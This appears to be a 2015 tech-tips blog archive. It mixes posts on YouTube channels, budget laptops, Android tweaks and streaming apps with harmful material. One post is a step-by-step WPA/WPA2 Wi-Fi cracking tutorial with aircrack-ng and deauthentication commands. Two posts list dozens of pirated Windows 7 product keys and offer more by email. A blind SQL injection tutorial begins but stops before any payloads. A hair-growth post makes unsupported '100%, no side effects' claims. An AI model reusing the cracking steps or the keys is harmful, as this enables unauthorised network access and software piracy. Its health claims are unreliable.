Soltumia

How to make Youtube Channel 2015 - Step By Step Tutorial

2015-05-23T00:08:00.000-07:00

Youtube is a video sharing website headquartered in united states.The site allows users to upload, view, and share videos,as well as it allows users to earn so dollars.Available content includes video clips, TV clips, music videos, and other content such as video blogging, short original videos, and educational videos.
Starting a YouTube channel, eh? YouTube is a great way to get noticed on the internet and, if successful, earn a living! However, you need dedication and motivation.

How to make Youtube Channel 2015

⚫ Create a Personal Channel With Your Name

Make sure you're signed in to YouTube.
Go to create a channel (if you already have a channel, the link will take you to it).
Check the details and click OK to create your new channel.

⚫ Create A Channel With A Business or Other Name

Make sure you're signed in to YouTube.
Go to All my channels.
If you want to make a YouTube channel for a Google+ page that you manage, you can choose it here. Otherwise, click Create a new channel.
Fill out the details to create your new channel.

Top 5 Laptops 2015 - Top Laptops Below $600

2015-04-18T05:51:00.000-07:00

Recently updated, our list of top rated laptops includes the best modern touchscreen capable laptops and featherlight ultra thin laptops. These are PC laptops only, and all under $600. Each one is great for the road warrior, but be careful to choose what is right for you. Often times portability comes at the cost of performance, but we took care of that by including an incredible list of diverse machines.

Our Top Laptops

5Toshiba Satellite C55D-A5120 Laptop

Toshiba model costs less simply because it uses a cheaper processor. The AMD processor is an e-series dual core and should run just as fast as the Intel competitor. In fact, since it uses an AMD processor you get the performance of an AMD Radeon graphics processing unit, actually making this a better laptop for gaming. If you want to save a little money but still have a high quality laptop, absolutely check this one out.

AMD QUAD - CORE E2 - 3800
4GB DDR3 Memory / 500GB HDD
Windows 8.1

Price: $300

4ASUS K200MA-DS01T HD Touchscreen

This ASUS is packed with modern technologies like IceCool Technology that keeps the palm rest cool, and Palm Proof Technology that prevents inadvertent cursor movement when typing. It also has SmartLogon facial recognition technology, allowing you to logon password-free. It also has 320 gigabytes of hard drive space and one USB 2.0 port and one USB 3.0 port.

Intel Bay Trail - M N2830 Dual - Core 2.16GHz(Turbo up To 2.41GHz)
11.6" inch HD Display Touch Screen
500GB Hard drive storage , 4GB RAM

Price: $315

3Asus X200MA Touchscreen Laptop

The X200 series is probably the most portable laptop in existence. It weighs in at just 3 pounds and is under 11 inches in diameter. This is practically a huge a cell phone with massive processing power and a touch screen. The corei3 processor uses very little power and keeps battery life high. With 500gb of storage and 4gb of ram, you can store your media and play it too.

Intel Celeron N2815 1.86GHz
11.6" inch HD Touch Screen
4GB Memory , 500GB Hard Drive
Black , Windows 8

Price: $309

2Samsung Chromebook 2

If you do not need Microsoft Office, and you generally use your laptop for browsing, email, facebook, and other basic things you don’t need to look any further. Chromebooks are inexpensive, functional, and beautiful. This latest Samsung Chromebook is an excellent laptop replacement that is far easier to use than Windows 8. Google’s own Chrome OS is sleek and fun to use, and integrates seamlessly in to your Google account just like an Android device. The quality of Samsung electronics further pushes the value and makes this a sweet buy.

4GB DDR3L SDRAM
16GB Solid - State Drive
Chrome OS
8H Battery Life

Price: $259

1ASUS Transformer Book T100TA-H2-GR

At a very low price you can have a new tablet and a new laptop in one. This device is powered by an ultra fast Intel quad core processor and comes with over 500GB of solid state storage. The screen has brilliant colors and high resolution for its relatively small size. It is the perfect device for travel, productivity, and entertainment. The very best thing about this device is the 11 hour battery life, so you can do what you need to do without interruption. You can buy the transformer in white, black, or pink making it a great option for students.

Intel Quad Core Baytrail - T Z3740 1.33GHz 2GB RAM
500GB Hard Drive Keyboard Dock
Storage Capacity 64 GB Solid In Tablet , 500GB Hard Drive In Dock
1.2 MP Webcam
Includes Windows 8.1

Price: $500

They are the top 5 branded laptops under $600.If you have any kinds of questions please comment below i will definitely help you to solve your problem.That's it for today see you in next post.

How To Built A Website - Built Website For Free

2015-04-15T06:25:00.000-07:00

Blog is derived from the word Web Log, which essentially meant systematic information published on the World Wide Web. Functioning as a forum, brand advertising platforms or even personal diaries, Blogs are the shining light to which hoards of metaphorical human fireflies swarm around. Blogging is proving to be a lucrative career option, with some of the highest earning blogs around the world raking in about $800,000 per month.

Blogger offers one of the cheapest entry routes in the world of website domain. Using a blogging platform for website-building may seem unusual, but it has its perks and benefits. Since Blogger is a Google product, every other Google service can be integrated with it. Google Wallet, Google Analytics, AdSense, Picasa, multiple author support amongst others is bundled with Blogger. The ease of updating content in Blogger, coupled with modifications in 2010 allowing multiple pages with navigation on the website has been tremendous in improving the platforms popularity. Availability of over 50 languages on Blogger, features to customise themes and fonts without in-depth knowledge of HTML and CSS and one of the most efficient spam filters (Google, after all) makes it a fore-runner in the blogging world.

How To Built A Website

Register
Register yourself at blogger.com using your Google ID.

Use a Blog Title
Make sure that is is catchy, relevant and unique. Common tags and keywords get lost in vast torrents of web data. The address of the blog will end in ‘blogspot.com’, indicating the integrated host of the blog and its availability will be checked by the bar.
Templates
They can be used to various effects. Although a ‘newbie’ is recommended to stick to simple and minimalistic templates this can be tweaked and changed at a latter stage.

Gadgets
Gadgets powered by Google are one of the prominent features of Blogger. Data Analytics, Real-time statistics are some of the numerous devices on display. Select a gadget conducive to the webpage but it is advisable to keep the gadget count to a minimum.

Dashboard
The dashboard is where you control your blogs, publish, draft or delete pages. Essentially the control panel of your blog, this is the Bloggers homepage.

Watch the given video for more

How To Grow Hair Faster And Longer - Jpt videos

2015-03-23T05:27:00.000-07:00

This is the best method to grow your hair faster and longer.In this video i have given some vitamins to grow your hair faster and longer.This method does not have any side effects any one can use this method to make there hair longer and stronger.I have also provided some home remedies to grow your hair longer and faster.
Here is the best method to grow your hair longer and faster both for men and women. Vitamins to grow your hair faster and longer are also provided.

Top 3 Methods To Grow Your Hair Faster And Longer Both For Men And Women.Also Grow Your Hair By Some Of The Vitamins Listed In The Video.This Video Works 100%.

Subscribe For More Videos:- http://www.youtube.com/user/jptv1dz?s...

Share This Video:- http://youtu.be/MLuaNg56s44
How To Grow Hair Faster And Longer- Vitamins To Grow Hair Faster-Best Way To Grow Hair Faster-Grow Hair Longer And Faster.

Links:-
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
http://facebook.com/suraj.p...
http://instagram.com/canugod
http://itstrickszone.blogsp...
http://youtube.com/jptv1dz

Make You Android Fast By 10x:- https://www.youtube.com/wat...

Speed up youtube videos:- https://www.youtube.com/wat......

Speed up your google chrome:- https://www.youtube.com/wat......

Thank you http://www.ravenprodesign.com/ for intro...

Tags:-
1) How do you grow hair faster and longer
2) How to grow the hair faster and longer
3) what makes hair grow faster and longer
4) How to make your hair grow faster.
5) How to grow longer hair for men.
6) growing hair longer faster.
7) Grow Longer hair in one week.
8) How to make hair grow longer faster.
9) remedies to grow hair faster and longer
10) Vitamins to grow hair faster and longer.

How To Hack Test Your WPA/WPA2 Wi-Fi With Kali Linux

2015-03-20T00:33:00.000-07:00

Kali Linux can be used for many things, but it probably is best known for its ability to penetration test, or “hack,” WPA and WPA2 networks. There are hundreds of Windows applications that claim they can hack WPA; don’t get them! They’re just scams, used by professional hackers, to lure newbie or want-to-be hackers into getting hacked themselves. There is only one way that hackers get into your network, and that is with a Linux-based OS, a wireless card capable of monitor mode, and aircrack-ng or similar. Also note that, even with these tools, Wi-Fi cracking is not for beginners. Playing with it requires basic knowledge of how WPA authentication works, and moderate familiarity with Kali Linux and its tools, so any hacker who gains access to your network probably is no beginner!

These are things that you’ll need:

A successful install of Kali Linux (which you probably already have done).
A wireless adapter capable of injection/monitor mode, here is a list of the best:http://blackmoreops.com/recommended-usb-wireless-cards-kali-linux
A wordlist to try and “crack” the handshake password once it has been captured
Time and patients

If you have these then roll up your sleeves and let’s see how secure your network is!

Important notice: Hacking into anyone’s Wi-Fi without permission is considered an illegal act or crime in most countries. We are performing this tutorial for the sake of penetration testing, hacking to become more secure, and are using our own test network and router.

By reading and/or using the information below, you are agreeing to
our Disclaimer.

Step One:

Start Kali Linux and login, preferably as root.

Step Two:

Plugin your injection-capable wireless adapter, (Unless your computer card supports it). If you’re using Kali in VMware, then you might have to connect the card via the icon in the device menu.

Step Three:

Disconnect from all wireless networks, open a Terminal, and type airmon-ng

This will list all of the wireless cards that support monitor (not injection) mode. If no cards are listed, try disconnecting and reconnecting the card and check that it supports monitor mode. You can check if the card supports monitor mode by typing ifconfig in another terminal, if the card is listed in ifconfig, but doesn’t show up in airmon-ng, then the card doesn’t support it.
You can see here that my card supports monitor mode and that it’s listed as wlan0.

Step Four:

Type airmon-ng start followed by the interface of your wireless card. mine is wlan0, so my command would be: airmon-ng start wlan0

The “(monitor mode enabled)” message means that the card has successfully been put into monitor mode. Note the name of the new monitor interface, mine is mon0.

Step Five:

Type airodump-ng followed by the name of the new monitor interface, which is probablymon0.

Step Six:

Airodump will now list all of the wireless networks in your area, and lots of useful information about them. Locate your network or the network that you have permission to penetration test. Once you’ve spotted your network on the ever-populating list, hit Ctrl + Con your keyboard to stop the process. Note the channel of your target network.

Step Seven:

Copy the BSSID of the target network

Now type this command:
airodump-ng –c [channel] –bssid [bssid] –w /root/Desktop/ [monitor interface]Replace [channel] with the channel of your target network. Paste the network BSSID where [bssid] is, and replace [monitor interface] with the name of your monitor-enabled interface, (mon0).

A complete command should look like this:
airodump-ng -c 10 --bssid 00:14:BF:E0:E8:D5 -w /root/Desktop/ mon0

Now press enter.

Step Eight:

Airodump with now monitor only the target network, allowing us to capture more specific information about it. What we’re really doing now is waiting for a device to connect or reconnect to the network, forcing the router to send out the four-way handshake that we need to capture in order to crack the password.
Also, four files should show up on your desktop, this is where the handshake will be saved when captured, so don’t delete them!

But we’re not really going to wait for a device to connect, no, that’s not what impatient hackers do. We’re actually going to use another cool-tool that belongs to the aircrack suite called aireplay-ng, to speed up the process. Instead of waiting for a device to connect, hackers use this tool to force a device to reconnect by sending deauthentication (deauth) packets to the device, making it think that it has to reconnect with the router.

Of course, in order for this tool to work, there has to be someone else connected to the network first, so watch the airodump-ng and wait for a client to show up. It might take a long time, or it might only take a second before the first one shows. If none show up after a lengthy wait, then the network might be empty right now, or you’re to far away from the network.

You can see in this picture, that a client has appeared on our network, allowing us to start the next step.

Step Nine:

leave airodump-ng running and open a second terminal. In this terminal, type this command:
aireplay-ng –0 2 –a [router bssid] –c [client bssid] mon0The –0 is a short cut for the deauth mode and the 2 is the number of deauth packets to send.
-a indicates the access point (router)’s bssid, replace [router bssid] with the BSSID of the target network, which in my case, is 00:14:BF:E0:E8:D5.
-c indicates the clients BSSID, noted in the previous picture. Replace the [client bssid] with the BSSID of the connected client, this will be listed under “STATION.”
And of course, mon0 merely means the monitor interface, change it if yours is different.

My complete command looks like this:
aireplay-ng –0 2 –a 00:14:BF:E0:E8:D5 –c 4C:EB:42:59:DE:31 mon0

Step Ten:

Upon hitting Enter, you’ll see aireplay-ng send the packets, and within moments, you should see this message appear on the airodump-ng screen!

This means that the handshake has been captured, the password is in the hacker’s hands, in some form or another. You can close the aireplay-ng terminal and hit Ctrl + C on the airodump-ng terminal to stop monitoring the network, but don’t close it yet just incase you need some of the information later.

Step 11:

This concludes the external part of this tutorial. From now on, the process is entirely between your computer, and those four files on your Desktop. Actually, the .cap one, that is important. Open a new Terminal, and type in this command:
aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

-a is the method aircrack will use to crack the handshake, 2=WPA method.
-b stands for bssid, replace [router bssid] with the BSSID of the target router, mine is 00:14:BF:E0:E8:D5.
-w stands for wordlist, replace [path to wordlist] with the path to a wordlist that you have downloaded. I have a wordlist called “wpa.txt” in the root folder.
/root/Desktop/*.cap is the path to the .cap file containing the password, the * means wild card in Linux, and since I’m assuming that there are no other .cap files on your Desktop, this should work fine the way it is.

My complete command looks like this:
aircrack-ng –a2 –b 00:14:BF:E0:E8:D5 –w /root/wpa.txt /root/Desktop/*.cap

Now press Enter.

Step 12:

Aircrack-ng will now launch into the process of cracking the password. However, it will only crack it if the password happens to be in the wordlist that you’ve selected. Sometimes, it’s not. If this is the case, then you can congratulate the owner on being “Impenetrable,” of course, only after you’ve tried every wordlist that a hacker might use or make!

Cracking the password might take a long time depending on the size of the wordlist. Mine went very quickly.

If the phrase is in the wordlist, then aircrack-ng will show it too you like this:

The passphrase to our test-network was “notsecure,” and you can see here that aircrack found it.

If you find the password without a decent struggle, then change your password, if it’s your network. If you’re penetration testing for someone, then tell them to change their password as soon as possible.

Video Tutorial :- Click Here

Windows 7 Product keys 32 and 64 Bit 2015 Updated

2015-03-19T20:08:00.000-07:00

Windows 7 is the best operating system since it’s officially launched in 2009. If you are looking for windows 7 serial key or product key then this website may help you to get updated and genuinewindows 7 Activation key. Officially it is not legitimate to use any version of Windows without permission or purchasing from Microsoft.

But genuine copy of windows 7 is too costly and most of people can’t afford it. So keeping this thing in mind we are sharing some working products keys for windows 7 32 bit and 64 bit.

Windows 7 Serial Key 32 Bit

ZPXOCI-VUBYN-MTNRB-EFHEK-SWOAA

PQL19-DN4BD-G6HIZ7-XM358-W9SKZ

MVCCV-KSKDU-ROW8R-5U42K-CVBSC

SASDS-WE235-486PU-PJLNM-GNFYR

56452-EWDSX-ZCAFQ-R1436-RYVHG

NBJRU-IYNMJ-LUOU0-794JS-VDFET

SYAUC-NVBB9-LZKAK-ISJDS-KDJDU

09MMU-8AKOO-W2IJZ-MNXHT-Y75WO

MZXNC-NVBQP-WOEIR-ITUYA-LSKDK

FJGHZ-PXOCI-VUBYN-TMEWN-ATDRR

KJHNE-RAZSEX-DFTVG-UHBJI-JNKPL

JIFTC-FSRCY-XTSRO-MIJHB-GVXFZ

DSESA-TFGYH-JIKMJ-NBHGV-CFXDZ

SWASE-DRTFG-YQ2W3-4ER56-TY78U

I9UA2-3S4D5-FG67H-8J9KM-N876V

Windows 7 Serial Key 64 Bit

MLPOK-NJIUH-BVGYT-FCXDR-ESZAQ

W1Q2A-3S4F4-R5TGY-HG7UH-Y8IKJ

M9N8B-7V6C5-X4Z32-SDA4D-EF5GH

T6HJY-67JKI-U789L-KMNBV-GCFXD

SREW3-QAZXS-DWE34-MONKJ-IH789

HYGTV-FCDR5-5ZZC3-32SXD-ER435

56GTF-CVBXX-XZSDE-4MMN8-00KMJ

IUYYB-BYYYT-RCVFF-6REEW-MMKPP

LLIIU-HGGYT-TFCXX-ZMMNB-BJGGF

FRRRW-WEQAW-SEDRF-TGUHI-JBIUV

YCTXT-DRSEA-AQ989-9MKNJ-BHBGV

Because of high volume of users these keys might be used by someone. So in this case if above listedserial keys don’t work, then you can request for a working product key for your windows by emailing us at gang2die@gmail.com . You will receive an email with a working product key for windows 7.

Windows 7 New Product Keys For All 2014 Keys

2015-03-19T19:58:00.000-07:00

7YWX9-W3C2V-D46GW-P722P-9CP4D

MM7DF-G8XWM-J2VRG-4M3C4-GR27X

KGMPT-GQ6XF-DM3VM-HW6PR-DX9G8

MVBCQ-B3VPW-CT369-VM9TB-YFGBP

KBHBX-GP9P3-KH4H4-HKJP4-9VYKQ

BCGX7-P3XWP-PPPCV-Q2H7C-FCGFR

RGQ3V-MCMTC-6HP8R-98CDK-VP3FM

Q3VMJ-TMJ3M-99RF9-CVPJ3-Q7VF3

6JQ32-Y9CGY-3Y986-HDQKT-BPFPG

P72QK-2Y3B8-YDHDV-29DQB-QKWWM

6F4BB-YCB3T-WK763-3P6YJ-BVH24

9JBBV-7Q7P7-CTDB7-KYBKG-X8HHC

C43GM-DWWV8-V6MGY-G834Y-Y8QH3

GPRG6-H3WBB-WJK6G-XX2C7-QGWQ9

MT39G-9HYXX-J3V3Q-RPXJB-RQ6D7

MVYTY-QP8R7-6G6WG-87MGT-CRH2P

GRY6B-TJ49J-X73JG-38H9K-VWJHY

C8XXQ-PQDD6-6KGP6-J8XT6-XGB2X

8XRH7-RTC6B-BJ42C-C2Q8Y-BRXMG

PTTCH-H7J6M-4XXWH-86RT3-66P6M

DLMKZ-2ILHP-7IUG9-A2QVK-A2BYX

BPVVG-7KVMM-HGRZ1-SQZ4L-USRHM

FJGCP-4DFJD-GJY49-VJBQ7-HYRR2

3YHKG-DVQ27-RYRBX-JMPVM-WG38T
MVBCQ-B3VPW-CT369-VM9TB-YFGBP

Windows 7 Ultimate Serial Keys
windows 7 ulimate - lenovo - 22TKD-F8XX6-YG69F-9M66D-PMJBM
windows 7 ulimate - dell - 342DG-6YJR8-X92GV-V7DCV-P4K27
windows 7 ulimate - acer - FJGCP-4DFJD-GJY49-VJBQ7-HYRR2

Windows 7 Professional Serial Keys
windows 7 professional - dell - 32KD2-K9CTF-M3DJT-4J3WC-733WD
windows 7 professional - acer - YKHFT-KW986-GK4PY-FDWYH-7TP9F
windows 7 professional - hp - 74T2M-DKDBC-788W3-H689G-6P6GT
windows 7 professional - samsung - GMJQF-JC7VC-76HMH-M4RKY-V4HX6

Windows 7 Home Premium Serial Keys
windows 7 Home Premium - samsung - CQBVJ-9J697-PWB9R-4K7W4-2BT4J
windows 7 Home Premium - packard bell - VQB3X-Q3KP8-WJ2H8-R6B6D-7QJB7
windows 7 Home Premium - dell - 6RBBT-F8VPQ-QCPVQ-KHRB8-RMV82
windows 7 Home Premium - asus - 7JQWQ-K6KWQ-BJD6C-K3YVH-DVQJG

Windows 7 Beta 64-bit Product Key
7XRCQ-RPY28-YY9P8-R6HD8-84GH3
JYDV8-H8VXG-74RPT-6BJPB-X42V4
482XP-6J9WR-4JXT3-VBPP6-FQF4M
JYDV8-H8VXG-74RPT-6BJPB-X42V4
~~~~~~~~~~~~~~~~~~~~~~~~~~
Windows 7 Beta 32-bit Product Key
6JKV2-QPB8H-RQ893-FW7TM-PBJ73
TQ32R-WFBDM-GFHD2-QGVMH-3P9GC
GG4MQ-MGK72-HVXFW-KHCRF-KW6KY
4HJRK-X6Q28-HWRFY-WDYHJ-K8HDH
QXV7B-K78W2-QGPR6-9FWH9-KGMM7

9 Reasons Why You Should Buy an Android Phone Instead of an Iphone

2015-03-17T22:41:00.000-07:00

There are a wide variety of smartphones out there today, but the Android and iPhone are the two most popular operating systems for mobile devices by far, accounting for more than 90% of smartphone OS market.

While both phones offer a lot of great features, but there are plenty of reasons to get an Android phone instead of an Iphone.

In this article, I’ve listed down 9 reasons why you should buy an Android phone instead of an Iphone or other OS smartphone.

More free apps and games
This probably the best reasons why you should buy an android phone. While both Apple and Google play store has over 700,000 different applications that you can be downloaded from your device. But you get more free apps and games in the Android market than you get in the Apple App store. For example, angry bird games which are sold for $0.99 each in the apple app store, but you can get it for free in the Google play store.
Easy Customization
Android phones give you a ton of options for customization. You can change the default settings for almost anything. Moreover all mobile applications that are downloaded from Android market are compatible with Android handsets making it easy to customize.
Open Source Platform
The best thing about Android is that it’s an Open Source operating system. This gives larger support for developers on cultivating and expanding for their platform. Moreover this gives users the freedom to contribute their own ideas and even applications, without worrying about the license issues that may be jammed them in the future.
Connected with Google Products
Since Android is owned by Google, the OS connected with all the Google products, including Gmail, Google Docs, Google Maps, Google+ and etc. All the necessary data and settings of Google services, such as Google Talk, Google Picasa, Gmail, etc, will automatically be copied to your device. All of these also give users access to a variety of applications that they can use between phone and PC.
The flexibility of Widgets
Another best thing about Android is that you can easily put widgets on your homescreen which allows you to quickly access to the apps on your phone and see all of the information you want at a glance on your home screen without having to fire up an app. On iPhone, you are unable to place widgets on homescreen to place widgets, though the iPhone’s default screen is the app drawer.
Many Vendors support
Unlike other mobile OS such as IOS and symbian that is controlled by their makers – IOS by Apple and Symbian by Nokia – Android has a wide range of big manufactures support like Samsung, Sony, HTC, and LG. Even computer vendor such as Acer and Dell have roped to launch Android-based devices. The biggest advantage for users is that they have a wide selection to choose from.
Custom Launchers
If you don’t like the launcher that come with Android phone, you can easily replace it with other launchers. You can try out a wide variety of custom launcher apps
in the play store and tweak everything from your home screen layout to your page transitions and even gestures. There’s no risk involved with launcher apps and you can really open up a world of possibilities.
Custom ROMs
You can custom the stock ROM that came with your android device if you want to. This essential to boost your phone’s performance or to gain access to some add-ons or tools. This is definitely the extreme end of Android customization but you need to exercise a little to ensure that you don’t run into trouble.

Simple Steps to Remove Synced Picasa Albums from Android Gallery

2015-03-17T22:27:00.000-07:00

In order to use the Google Play store app on your android device, you will need to log on to your Google account. As soon as you login into your Google account, you will have almost all Google services in your device, including Gmail, contacts, bookmarks as well as your picasa web albums.
Sometimes it’s really good to have all of these backed up on phone, but not always, especially in the case of Picasa web albums. All the photos will show up in your android phone gallery. If you don’t like having those around, you can take these simple steps to remove the picasa albums from your Android gallery.
Go to Settings -> Accounts and Sync.
Tap on your Google account and uncheck the ‘Sync Picasa Web Albums’ option.
Now on Settings menu, go to Applications or Applications Manager and swipe to the third tab (All).
Scroll down and find ‘gallery’ app. Open the ‘gallery’ app and tap on both the ‘clear data’ and ‘clear cache’. Don’t worry, your local photos and videos won’t be deleted.
Now go back to the gallery app and you will notice that the synced photos has been removed from your gallery.

CLICK HERE For More Tips And Tricks

How to Easily Record Screen on Android Lollipop Device

2015-03-17T22:19:00.000-07:00

The native screen recording was initially introduced on Android 4.4 KitKat but the functionality required either a rooted device with a Screen Recording app installed or a non-rooted device with some Android Debug Bridge (ADB) commands.

Luckily, on Android 5.0 Lollipop, the process is much, much easier, as the new OS version released with a new API that allows developers to build apps that can record screen without the need of root access or any ADB knowhow. Currently, there are few apps which have taken advantage of the new API and let’s users to record screen on their lollipop smartphones or tablets.

If you’re looking for a great screen recording app, then you should give AZ Screen Recorder a try. It’s by far one of the best app to record a video of your Android screen. The best part of this app is that it has no recording time limit and there’s no watermark or logo of the creator will be displayed on your videos. Moreover, it also allows you to pause and resume while recording.

After you install and launch the app, a small toolbar will appear in the middle of your screen. The toolbar contains four different controls like Recording, Settings, File Manager and Exit button.

When you start recording for the first time, a few prompts will explain how the recording feature works. You will always be able to access the recording panel in your notification bar. On the recording panel you can pause, stop, and start new recordings.

In the settings, you can enable touches to show up on the screen, enable or disable audio recording, set time limits for recording, as well as change the resolution and bitrate of video captured.

The output format will be MP4 file, and you can select the default folder where the file will be saved, although it will automatically appear in your gallery app.

The app is completely free to use, but as mentioned above, you need to have Android 5.0 Lollipop installed. If you have a prior version, your best bet is to root your Android device and install a screen recorder app called Shou.TV from Google play store

More Tricks:-

a) Zoom in and zoom out on android screen.

b) How to make android 10x faster.

c) How to advertise youtube videos for free.

How to Get Recycle Bin Feature on Android

2015-03-17T22:10:00.000-07:00

Here comes a best trick today i will teach you how to get recycle bin feature on Android.On Android there is no such feature and whenever you delete something, it gets deleted permanently. So in case you accidentally delete a picture or a file on your Android phone or tablet, it will be gone forever.

Although Android devices don’t have this feature, but there are free third-party apps available on Play Store that allows you to add a recycle bin like feature on your Android device. One of the best among them is Dumpster. This app works just like the recycle bin on your computer. It gives you the ability to restore deleted pictures, music files, videos and other type of files. So with this app installed on your phone, you no longer have to worry about making the mistakes.

How to Get Recycle Bin Feature on Android with Dumpster

Download and Install Dumpster on your Android phone or tablet.
Once installed, open the app and accept the ‘Terms and Conditions’.

Check out this youtube channel for more:- JPT VIDEOS

In the initial setup page, select all the files types that you want the app to save when they are deleted and tap on ‘Next’ button.

Note:If you have a rooted Android device, you can turn on the “Allow Root Access” option for better working of this app.

That’s it, Dumpster is now all configured to save all the items that are deleted from your device. Next time if you accidentally delete your files, just go the the Dumpster app and if you want to restore a deleted item, simply select it and tap the ‘Restore’ button to restore it.

More Tricks:-

a) How to have whiten teeth for free in 2 minutes.

b) How to grow your nails super fast.

c) Samsung Galaxy Ace 3 Tricks

8 Amazing Tips to Speed Up Your Android Phone

2015-03-12T22:19:00.000-07:00

Android phones are quite powerful these days, but there are still people who wish their phones were a little faster. It may be that they purchased an economy phone that does not have much process power or the phone may be outdated, or the phone may be so loaded down with apps and programs that it has slowed the phone down. Whatever the reason is, it is important to try to speed your phone up again. Here are a few ways that you may do so.

How to Speed Up Your Android Smartphone

1. Think about using a different launcher

Think about using a home alternative. There are quite a few third party launchers out there that you can use. They are an alternative to the launcher that comes with the Android. The Android home is quite complex and takes up a fair amount of memory, RAM and processor power. A third party launcher offers a strip down all of these functions, so that you are just presented with a simple launching program.

2. Lower your settings on your phone

The home page (home/home screen) may often have its settings lowered to a level that requires less processor power or memory. It is like when you play PC games and you lower the graphics so that you can play the game without it getting jerky. A similar thing may be done with an Android in many cases.

3. Turn off the animations on your Android

The animations are the little things that happen whenever you do something on your Android, such as when you open a tab or an app. These animations are there for no other reason than to look pretty. People are averse to computing software working for them, without a little bit of a preamble first. This may be removed so that the animations no longer appear. You may disable the animations on the screen, and here is how you do it:

Settings > Display > Animation.

Doing this is both pragmatic and will improve your Android performance.

4. Disable the plugin browser

This is another thing you can do to increase the speed of your Android. It removes yet another element that slowly sucks your processor power and memory. It is a little drag factor that you may remove. Here is how you do it:

Open Browser > Settings > Plugins.

5. Do not use live wallpaper

It looks pretty and it makes using your Android a little more interesting, but it does have a drag factor on the performance of your Android phone. So, it is better if you do not use live wallpaper.

6. Clear out your apps every now and again

Uninstall any applications that are not used anymore (unless they cost you a lot of money). If you have apps that you use very infrequently (maybe such as a currency converter), but that was also free, you should delete it. If you need the free app then you can just download it. Removing apps will free up some memory space. Memory usage will affect your Androids performance. Imagine that your Android OS is a librarian, and the apps are books in the Library. If there are fewer books then the librarian will find your Where’s Wally books faster.

7. Replace your heavy apps with lighter ones

Your apps will take up a certain amount of processor power and memory. Some apps are far slower than others, so uninstall the applications that consume too much memory and replace them with others that have the same function but consumes less. There are apps on the android Market whose coding is not optimized which makes them run slower. Find the ones that are better-optimized (have “tighter code” if you wish to use programmer parlance). Heavy apps (ones that use lots of processor power and memory) may often be loaded with features that you never even use. You may find other apps out there that do less and yet still have all the features you need.

8. Remove or turn off background apps

Some of these will run without your knowledge. Which means it may be time to have a good look at what your Android is actually up to. For example, many people leave their GPS on in the background without realizing it is drinking their processor power and memory.

5 Best Android Apps to Watch Movies & TV Shows for Fre

2015-03-12T22:13:00.000-07:00

You can get your favorite Movies and TV Shows right on your display by using the following apps. Pick up your favorite Android app from the list and get entertained instantly!

5 Android Apps to Watch Free Movies & Shows

1. Hulu

Hulu is one of the best ways to watch all the premium TV Shows and other movies for free right from your Android Smartphone and Tablets. The app is available for free and you can get the best

entertainment

time ahead within this app. You won't be asked for any subscription fees as well. The app contains Movies, TV Shows and a number of Kids Shows you bring entertainment on your phone's display. Get it now!

Download Hulu for Android

2. ShowBox

ShowBox is the best application that allows you to watch and download your favorite Movies and TV Shows. ShowBox for Android is widely popular and is available for various smartphone platforms. The app offers numerous features to get all the entertaining stuffs in front of you. You can pick your favorite movie and can even download it instantly.

ShowBox App Download

3. Crackle

Crackle is undoubtedly the best Entertainment app available in the market for an Android Platform. The app is amazingly popular as it offers the best and decent user interface to get your favorite TV Shows and Movies right on your display. You can get the best user interface to select your item easily. Crackle is available for free and you can download it from the following link easily.

Download Crackle for Android

4. LiveNow! TV

LiveNow! TV gets you a huge list of TV Channels to be explored online within your smartphone. You can get the list of all the available channels at the left side bar of the app. To watch any of the given channels, you just need to select it and you will see the selected item on the go right on your phone's display.

Download LiveNow! TV

5. 4oD

Watch all the exciting episodes of channel 4 with 4oD. Instant streaming with Wi-Fi and your mobile data. Simple user interface and categorized items makes things go easier. You can even download your favorite episodes on your device on the go with just one single tap on the screen. Downloading process depends upon the network with which you are presently connected. After downloading it, you can instantly watch it on your phone. Get 4oD now from the following link.

Download 40D for Android

Go Ahead and download them and start watching your favorite Movies & TV Shows for free. I hope this was an interesting article, do let me know in your comments

Blind SQL Injection

2015-02-19T05:33:00.000-08:00

Only proceed if you know SQL Injection basics. If not, read these posts first-

What we know so far

If you've read the above three tutorials, you know the basic theory of what SQL Injection is, you know how to carry it out using you web browser on a vulnerable website, and you know how to use SQLMap to automate some of the process.

Now, for revision's sake, what we did in the Manual SQL injection tutorial was-

Found a potentially vulnerable website (http://testphp.vulnweb.com)
Used the asterisk ( ' ) to verify vulnerability.
Found out the number of rows and columns by making some small changes to the URL (which eventually changes the query that is executed on the server)
We then obtained names of tables, their columns, and finally extracted data.

However, it is worth noting that the website was intentionally left vulnerable, and most often the flaws in security aren't this obvious. In our case, the website was willingly responding to our queries with errors. This may not always be the case. As long as we can see the errors, we know we're going in the right direction. Errors tend to give us clues. However, some websites may choose to suppress the error messages. This make SQLi harder. This is known as Blind SQL Injection.

What I didn't tell you

I explained in subtle details what each and every step did. However, I did not explain the motive behind each step. (I gave a rough idea in the Sql injection basics post)

The purpose of the asterisk ( ' ) was to find out how the server handles bad inputs. If it has some mechanisms for sanitizing or escaping these dangerous characters, then we would not see any error in output.

Now this is not intended to be a theoretical post. While the SQL Injections basics post was for total beginners, I am linking a SQL Injection post appropriate for anyone who has carried out the classical SQL Injection attack, which we did in the manual SQL injection attack post, and is ready for blink SQL Injection.

Intermediate level sql injection (Wikipedia had great theory on SQLi, so I cropped the important bits for a hacker's point of view and posted it here)

SQL Injection example with explanation (This post isn't very useful for actual hacking, but explains concepts very well with examples. PS: This is an external link. Since their content is not licensed under creative commons, I couldn't simply crop the important part and put it here, so you have to go to their website)

PS: The posts in the beginning of the tutorial are mandatory, these are optional reads. You may choose to skip these and come back later and read whenever you're free. Now we'll get started.

Finding a suitable website

We now have to find a website which is vulnerable to SQL Injection, but does not show error messages. Basically, a site which can be hacked into but not using classical attacks. The site will not give any obvious responses to our attacks. This is why it is called a blind SQL Injection. It is hard to know whether we're doing it right or not.

Now there's a problem. Blind SQLi is quite time consuming. One first tried the classical attacks, and if they fail, then only they proceed to blind SQLi. I can't find a website which wouldn't mind being attacked, and exposed in public. So I'll have to use the same old testphp.vulnweb.com website. The URL we're going to attack is vulnerable to classical SQLi. However, we're going to assume that it's not, and attack it without using any of the methods we used in the previous SQLi tutorial. That being said, blind SQLi involves a lot of guessing, and the fact that I can use union based sql injection (classical injection that we did already) to find out table names, etc. makes it much easier for me to write the tutorial. Now we'll begin-

Finding out if target is vulnerable

Our target in this attack is -

http://testphp.vulnweb.com/listproducts.php?cat=2

